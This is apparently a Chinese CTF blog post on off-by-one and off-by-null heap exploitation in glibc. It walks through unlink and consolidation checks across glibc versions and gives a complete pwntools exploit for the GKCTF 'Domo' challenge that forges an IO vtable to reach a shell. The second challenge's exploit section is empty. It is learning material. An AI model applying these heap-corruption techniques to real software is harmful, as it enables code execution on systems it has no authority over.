Off-by-one漏洞练习

字数统计: 3.7k字   |   阅读时长≈ 17分

off-by-one 利用技巧

Linux free函数原理：

由堆块头部形成的隐式链表可知，一个需释放堆块相邻的堆块有两个：前一个块（由当前块头指针加pre_size确定），后一个块（由当前块头指针和size确定）。从而，在合并堆块时会存在两种情况：向后合并、向前合并。当前一个块和当前块合并时，叫做向后合并，当后一个块和当前块合并时，叫做向前合并。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s)  ((mchunkptr) (((char \*) (p)) + (s)))
/* check/set/clear inuse bits in known places */
#define inuse_bit_at_offset(p, s)					      \
  (((mchunkptr) (((char \*) (p)) + (s)))->size & PREV_INUSE)

_int_free (mstate av, mchunkptr p, int have_lock)
{
      ...
      /* consolidate backward \*/                    // "向后合并"
     if (!prev_inuse(p)) {                           //如果前一个块为空闲，则进行合并
       prevsize = p->prev_size;                      //获得前一个块大小
       size += prevsize;                             //合并后堆块大小
       p = chunk_at_offset(p, -((long) prevsize));   //根据当前块指针和前一个块大小，确定前一个块位置，即合并后块位置
       unlink(av, p, bck, fwd);                      //利用unlink从显式链表Unsorted bin取下前一个块
      }

      nextchunk = chunk_at_offset(p, size);                 //根据当前块指针和当前块大小， 确定后一个块位置，
      nextsize = chunksize(nextchunk);                      //获得后一个块大小
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize); //根据下一个块的下一个块的PREV_INUSE位，判断下一个块是否空闲
      /* consolidate forward \*/                // "向前合并"
     if (!nextinuse) {                          //如果后一个块为空闲，则进行合并
       unlink(av, nextchunk, bck, fwd);         //使用unlink将后一个块从unsorted bin中取下
       size += nextsize;                        //扩大当前块大小即可完成向前合并
     } else
     clear_inuse_bit_at_offset(nextchunk, 0);
     ...
}

  unlink 宏中主要的操作如下:
  注意：此处的fd、bk指的是显式链表bins中的前一个块和后一个块，与合并块时的隐式链表中的前一个块和后一个块不同
  #define unlink(AV, P, BK, FD) {                                            
      FD = P->fd;   //获取显式链表中前一个块 FD					      
      BK = P->bk;   //获取显示链表中后一个块 BK              
      FD->bk = BK;  //设置FD的后一个块					      
      BK->fd = FD;  //设置BK的前一个块
  }

  //由于unlink的危险性，添加了一些检测机制，完整版unlink宏如下
  /* Take a chunk off a bin list */
  #define unlink(AV, P, BK, FD) {                                            \
      FD = P->fd;								      \
      BK = P->bk;								      
      if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
        malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
      else {								      \
          FD->bk = BK;							      \
          BK->fd = FD;							      \
          if (!in_smallbin_range (P->size)				      \
              &&__builtin_expect (P->fd_nextsize != NULL, 0)) {		      \
  	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      \
  		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
  	      malloc_printerr (check_action,				      \
  			       "corrupted double-linked list (not small)",    \
  			       P, AV);					      \
              if (FD->fd_nextsize == NULL) {				      \
                  if (P->fd_nextsize == P)				      \
                    FD->fd_nextsize = FD->bk_nextsize = FD;		      \
                  else {							      \
                      FD->fd_nextsize = P->fd_nextsize;			      \
                      FD->bk_nextsize = P->bk_nextsize;			      \
                      P->fd_nextsize->bk_nextsize = FD;			      \
                      P->bk_nextsize->fd_nextsize = FD;			      \
                    }							      \
                } else {							      \
                  P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      \
                  P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      \
                }								      \
            }								      \
        }									      \
  }

off-by-one 利用思路

向前合并

1
2
3
4
5
6
/* consolidate forward */
if (!nextinuse) {
    unlink(av, nextchunk, bck, fwd);
    size += nextsize;
} else
    clear_inuse_bit_at_offset(nextchunk, 0);

若有一个chunk P将被free，则Glibc 首先通过 P + P->size 取出其物理相邻的后一个chunk BK，紧接着通过 BK + BK->size 取出与BK 块物理相邻的后一个 chunk 并首先检查其 prev_inuse 位，若此位为清楚状态则证明 BK 为 freed 状态，若是则进入下一步检查：

  • 此时若证明 BK 是 allocated 状态，则将 BK 的 Prev_inuse 位清除，然后直接执行 free后返回；

接下来检查 BK 是不是 Top chunk，若不是则进入向前合并的流程：

  • 若BK 是 Top chunk，则将其和P进行合并。

向后合并流程如下：

  • 让 BK 进入 unlink 函数
  • 修改 P-> size为 P-> size + BK-> size，以此来表示 size大小已经合并

向后合并

1
2
3
4
5
6
7
/* consolidate backward */
if (!prev_inuse(p)) {
    prevsize = p->prev_size;
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    unlink(av, p, bck, fwd);
}

首先检查 P 的 prev_inuse 位是否为清除状态，若是则进入后向合并的流程：

  • 首先通过 p - p->prev_size 取出物理相邻的前一个 chunk FD
  • 修改 p->size 为 p->size + FD->size（以此来表示 size大小已经合并）
  • 让 FD 进入 unlink 函数

构造 Heap Overlap

有三种方式：

  1. 通过 off by one 漏洞来修改 chunk 的 size域 涉及到的 Glibc 堆管理机制中空间复用的相关知识；
  2. 若内存中有如下布局（Chunk B、Chunk C 均为 allocated 状态）：
1
2
3
+++++++++++++++++++++++++++++++++++++++++++
|   Chunk A   |   Chunk B   |   Chunk C   |
+++++++++++++++++++++++++++++++++++++++++++

在 Chunk A 处触发 off-by-one 漏洞，将 Chunk B的 size 域篡改为 Chunk B + Chunk C 的大小，然后释放 Chunk B，再次取回，就可以对Chunk C 的内容进行任意读写

注意：

  • 篡改 Chunk B的 size 域时，仍要保持 prev_issue 位 为1，以免触发堆块合并
  • 篡改 Chunk B 的 size 域时，需要保证将 Chunk C完全合并，否则将无法通过以下所述的验证。
1
2
3
4
5
6
7
// /glibc/glibc-2.23/source/malloc/malloc.c#L3985
/* Or whether the block is actually not marked used.  */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
{
    errstr = "double free or corruption (!prev)";
    goto errout;
}
  1. 若内存中有如下布局（Chunk B 为 freed 状态、Chunk C 为 allocated 状态）：
1
2
3
+++++++++++++++++++++++++++++++++++++++++++
|   Chunk A   |   Chunk B   |   Chunk C   |
+++++++++++++++++++++++++++++++++++++++++++

在 Chunk A 处触发 off-by-one 漏洞，将 chunk B 的 size 域篡改为 Chunk B + Chunk C 的大小，然后取回 Chunk B,此时就可以对 Chunk C 的内容进行任意读写了。

注意：

  • 篡改 Chunk B 的 size 域时，仍要保持 prev_inssue 位为1，以免触发堆块合并
  • 篡改 Chunk B 的 size 域时，需要保持将 Chunk C 完全包含，否则将无法通过验证
  1. 接下来是一种比较困难的构造方式，首先需要内存中是以下布局：
1
2
3
+++++++++++++++++++++++++++++++++++++++++++
|   Chunk A   |   Chunk B   |   Chunk C   |
+++++++++++++++++++++++++++++++++++++++++++

其中，Chunk A 的 prev_inuse 位 置位，此时 三个 chunk 均为 alloacted 状态

保证 Chunk C 的 size 域一定要是 0x100 的整数倍，那么首先释放 Chunk A，再通过 Chunk B 触发 off-by-null，此时 Chunk C 的 prev_inuse 位被清除，同时构造 prev_size 为 Chunk A -> size + Chunk B -> size，然后释放 Chunk C，此时 因为 Chunk C 的 prev_inuse 位被清除，会导致向后合并的发生，从而产生一个大小为 Chunk A, Chunk B, Chunk C 之和的 chunk，再次取回后即可伪造 Chunk B 的结构。

Glibc 利用思路

Glibc 2.3.2(or < Glibc 2.3.2)

首先我们利用的重点是 unlink：

1
2
3
4
5
6
7
8
// In /glibc/glibc-2.3.2/source/malloc/malloc.c
/* Take a chunk off a bin list */
void unlink(P, BK, FD) {
    FD = P->fd;
    BK = P->bk;
    FD->bk = BK;
    BK->fd = FD;
}

初始 Glibc 中，unlink 函数没有任何防护，直接就是简单的拖链操作，一旦我们能控制 P 的 fd 域为 Fake_value，bk 域为 Addr - 3 * size_t，那么在那之后执行 BK->fd = FD 时将会实际执行 （Addr - 3*Size_t）+ 3 * Size_t = Fake_value 进而完成任意地址写。

In Glibc 2.23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// /glibc/glibc-2.23/source/malloc/malloc.c#L1414

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {
    FD = P->fd;
    BK = P->bk;
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
        malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    else {
        FD->bk = BK;
        BK->fd = FD;
        if (!in_smallbin_range (P->size)
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) 
                malloc_printerr (check_action,
                                 "corrupted double-linked list (not small)",
                                 P, AV);
            if (FD->fd_nextsize == NULL) {
                if (P->fd_nextsize == P)
                    FD->fd_nextsize = FD->bk_nextsize = FD;
                else {
                    FD->fd_nextsize = P->fd_nextsize;
                    FD->bk_nextsize = P->bk_nextsize;
                    P->fd_nextsize->bk_nextsize = FD;
                    P->bk_nextsize->fd_nextsize = FD;
                }
            } else {
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;
            }
        }
    }
}

在 Glibc 2.23 中，加入了两个检查，一个是在执行实际拖链操作前的链表完整性检查。

1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
     malloc_printerr (check_action, "corrupted double-linked list", P, AV);

这里就是检查 (P->fd) -> bk == p == (P->bk)->fd，若我们能得到 P的 地址位置，如假设 P 的地址存储在 BSS 段中的 chuk_addr 处，那么篡改 P->fd 为 Chunk_addr - 4 * Size_t， P-> bk 为 Chunk_addr - 3*Size_t。那么在进行检查时：

1
Chunk_addr - 4*Size_t + 4*Size_t == Chunk_addr == Chunk_addr - 3*Size_t + 3*Size_t

实际执行拖链后：

1
2
Chunk_addr - 4 * Size_t + 4 * Size_t = Chunk_addr - 3 * Size_t
Chunk_addr - 3 * Size_t + 3 * Size_t = Chunk_addr - 4 * Size_t

也就是 Chunk_addr = Chunk_addr - 4 * Size_t，若还有其他 Chunk 地址在 Chunk_addr 周围，我们就可以直接攻击对应项，如果程序存在读写 Chunk 的函数且没有额外的Chunk 结构验证，就可以进行任意地址读写了。

Glibc 2.27(Ubuntu 18.04)

1
2
3
4
5
6
7
8
9
10
11
12
13
* consolidate backward */
if (!prev_inuse(p)) {
    prevsize = prev_size (p);
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    unlink(av, p, bck, fwd);
}
/* consolidate forward */
if (!nextinuse) {
    unlink(av, nextchunk, bck, fwd);
    size += nextsize;
} else
    clear_inuse_bit_at_offset(nextchunk, 0);

Unlink内部变化：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// In /glibc/glibc-2.27/source/malloc/malloc.c#L1404

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
        malloc_printerr ("corrupted size vs. prev_size");
    FD = P->fd;
    BK = P->bk;
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
        malloc_printerr ("corrupted double-linked list");
    else {
        FD->bk = BK;
        BK->fd = FD;
        if (!in_smallbin_range (chunksize_nomask (P))
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
                malloc_printerr ("corrupted double-linked list (not small)");
            if (FD->fd_nextsize == NULL) {
                if (P->fd_nextsize == P)
                    FD->fd_nextsize = FD->bk_nextsize = FD;
                else {
                    FD->fd_nextsize = P->fd_nextsize;
                    FD->bk_nextsize = P->bk_nextsize;
                    P->fd_nextsize->bk_nextsize = FD;
                    P->bk_nextsize->fd_nextsize = FD;
                }
            } else {
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;
            }
        }
    }
}

和 Glibc 2.23 相比，最明显的是增加了关于 prev_size 的检查：

1
2
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
    malloc_printerr ("corrupted size vs. prev_size");

这一项会检查即将脱链的 chunk 的 size域是否与他下一个 Chunk 的 prev_size 域相等，这一项检查事实上对向后合并的利用没有造成过多的阻碍，只需要提前将 chunk 0 继续宁一次释放即可：

1
2
3
4
5
6
1. 现在有 Chunk_0、Chunk_1、Chunk_2、Chunk_3。
2. 释放 Chunk_0 ，此时将会在 Chunk_1 的 prev_size 域留下 Chunk_0 的大小
3. 在 Chunk_1 处触发Off-by-null，篡改 Chunk_2 的 prev_size 域以及 prev_inuse位
4. Glibc 通过 Chunk_2 的 prev_size 域找到空闲的 Chunk_0 
5. 将 Chunk_0 进行 Unlink 操作，通过  Chunk_0 的 size 域找到 nextchunk 就是 Chunk_1 ，检查 Chunk_0 的 size 与 Chunk_1 的 prev_size 是否相等。
6. 由于第二步中已经在 Chunk_1 的 prev_size 域留下了 Chunk_0 的大小，因此，检查通过。

Glibc 2.29（Ubuntu 19.04) 的新变化

由于 Ubuntu 19.04 是非 LTS版本，因此其软件源已经失效，因此若需要继续使用，需要把apt 源修改为 18.04 的软件源，两个版本相互兼容：

合并操作变化：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
* consolidate backward */
if (!prev_inuse(p)) {
    prevsize = prev_size (p);
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
    unlink_chunk (av, p);
}

/* consolidate forward */
if (!nextinuse) {
    unlink_chunk (av, nextchunk);
    size += nextsize;
} else
    clear_inuse_bit_at_offset(nextchunk, 0);

合并操作增加了新保护：

1
2
if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");

这里和上文所述 (chunksize(p) != prev_size(next_chunk(p))) 是有本质区别的：

1
2
3
1. 检查 prev_inuse 位是否置位，来决定是否触发向后合并。
2. 若触发，取出本 chunk 的 prev_size ，并根据 prev_size 找到要进行 unlink 的 chunk 。
3. 检查要进行 unlink 的 chunk 的 size 域是否与取出的 prev_size 相等。

unlink 内部变化：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// In /glibc/glibc-2.29/source/malloc/malloc.c#L1460

/* Take a chunk off a bin list.  */
static void unlink_chunk (mstate av, mchunkptr p)
{
    if (chunksize (p) != prev_size (next_chunk (p)))
        malloc_printerr ("corrupted size vs. prev_size");

    mchunkptr fd = p->fd;
    mchunkptr bk = p->bk;

    if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
        malloc_printerr ("corrupted double-linked list");

    fd->bk = bk;
    bk->fd = fd;
    if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
        if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p)
            malloc_printerr ("corrupted double-linked list (not small)");

        if (fd->fd_nextsize == NULL)
        {
            if (p->fd_nextsize == p)
                fd->fd_nextsize = fd->bk_nextsize = fd;
            else
            {
                fd->fd_nextsize = p->fd_nextsize;
                fd->bk_nextsize = p->bk_nextsize;
                p->fd_nextsize->bk_nextsize = fd;
                p->bk_nextsize->fd_nextsize = fd;
            }
        }
        else
        {
            p->fd_nextsize->bk_nextsize = p->bk_nextsize;
            p->bk_nextsize->fd_nextsize = p->fd_nextsize;
        }
    }
}

和 Glibc 2.27 相比，最明显的其实是整个宏定义被变更成了函数，其中保护并没有发生更多的改变。

区别是：如果我们要继续完成利用，就需要修改 fake chunk 的size 域，这样就能满足 size 和 prev_size相等。

2020-GKCTF Domo

程序分析

image-20200916211217363

程序在申请chunk时存在 off-by-null 漏洞，会在输入的末尾加上一个 0。

image-20200916211303582

在edit 函数里，允许我们修改一次 任意地址 一字节。

利用分析

  1. 泄露地址

首先需要泄露 libc 地址和 heap 地址。泄露 Libc 地址可以利用 unsortedbin 来泄露，分配一个 unsortedbin 在fd 和Bk 指针中会有 main_arena+88 的地址。 泄露 heap 地址可以利用 fastbin 来泄露，fastbin 会在 fd 和 bk 中存储后续空闲堆块的 地址。

  1. 分配伪造堆块

这道题，由于开启了各种保护，同时还对 malloc_hook 和 free_hook 的值进行了检查，所以 只能通过 FSOP 修改 vatbel 指针来getshell。 首先就需要 先伪造一个堆块到 _IO_list_all ,然后修改 _IO_list_all 到我们的 fake_IO_struct；

  1. 伪造 fake_IO_struct

需要自己伪造一个 fake__IO_file_jumps，将 IO_vtable 的值伪造为指向 fake_IO_file_jumps 地址，在 fake_IO_file_jumps 布置上 one_gadgets 地址。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')

debug = 1
if debug == 1:
    p = process('./domo')
    elf = ELF('./domo')
    libc = ELF('./libc.so.6')
else:
    libc = ELF('./libc.so.6')

gadgets = [0x45226,0x4527a,0xf0364,0xf1207]
main_arena_offset = 0x3c4b20
def Add(size, content):
    p.recvuntil('> ')
    p.sendline('1')
    p.recvuntil('size:\n')
    p.sendline(str(size))
    p.recvuntil('content:\n')
    p.sendline(content)

def Delete(idx):
    #p.recvuntil('> ')
    p.sendline('2')
    p.recvuntil('index:\n')
    p.sendline(str(idx))

def show(idx):
    p.recvuntil('> ')
    p.sendline('3')    
    p.recvuntil('index:\n')
    p.sendline(str(idx))

def edit(addr, num):
    p.recvuntil('> ')
    p.sendline('4')  
    p.recvuntil('addr:\n')
    p.sendline(str(addr))
    p.recvuntil('num:\n')
    p.sendline(str(num))

def pwn():
    Add(0x100, '0')
    Add(0x60, '1')
    Add(0x60, '2')
    Add(0x100, '3')
    Add(0x68, '4')
    Add(0xf8, '5')
    Add(0x100, '6')
	#释放 unsortedbin再申请，泄露main_arena+88 的值
    Delete(0)
    Add(0x100, '')
   
    show(0)
    libc_addr = u64(p.recvuntil('\x7f').ljust(8, '\x00'))
    print 'libc_addr:',hex(libc_addr)
    main_arena = libc_addr +0x16#+ 0x50ed
    print 'main_arena:',hex(main_arena)
    libc_base = main_arena - main_arena_offset
    print 'libc_base :',hex(libc_base)
    gadget = gadgets[2] + libc_base
    print 'gadget:',hex(gadget)
    _IO_list_all = libc_base + libc.symbols['_IO_list_all']
    print '_IO_list_all:',hex(_IO_list_all)
    _IO_stdin_ = libc_base + libc.sym['_IO_2_1_stdin_']
    fake_chunk = _IO_stdin_ + 0xb8
    #通过fastbin 的fd和bk残留泄露heap的值
    Delete(1)
    Delete(2)
    Add(0x60, '')
    show(1)
    heap_addr = u64(p.recv()[:6].ljust(8, '\x00')) - 0x10a
    print 'heap_addr:',hex(heap_addr)

    #chunk overlap
    #三个相邻块，释放前面两个，再修改第三个的size中的prev_inuse，再申请可以直接申请三个块的大小
    Delete(3)
    Delete(4)
    #gdb.attach(p)
    Add(0x68, 'a'*0x60+p64(0x110+0x70))
	#此时free chunk 大小为块3、4、5大小之和
    Delete(5)
    Delete(3)
	#布置 fake_IO_file_jumps
    Add(0xd0, p64(0)*2+p64(gadget)*19+p64(0)*3)
    #修改free chunk2 的 fd指针为 _io_stdin结构体
    Delete(2)
    Add(0x70, p64(0)*5+p64(0x71) + p64(fake_chunk-0x8))
    #在_io_stdin中伪造堆块头 size
    edit(fake_chunk, '\x71')
    #
    Add(0x60, 'f')
    #申请fake_chunk到_io_stdin中，修改_IO_stdin->vtable值
    Add(0x60, p64(0xffffffff)+"\x00"*0x10+p64(heap_addr+0x210))
    
    p.recvuntil('> ')
    p.sendline('1')
    
    p.interactive()

pwn()

hitcon-2018 children Tcache

程序分析

image-20200918100650020

strcpy() 时，会把字符串结束符 \x00 也一同拷贝到目的地址，所以存在一个 off-by-null 漏洞。

利用分析

EXP

赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing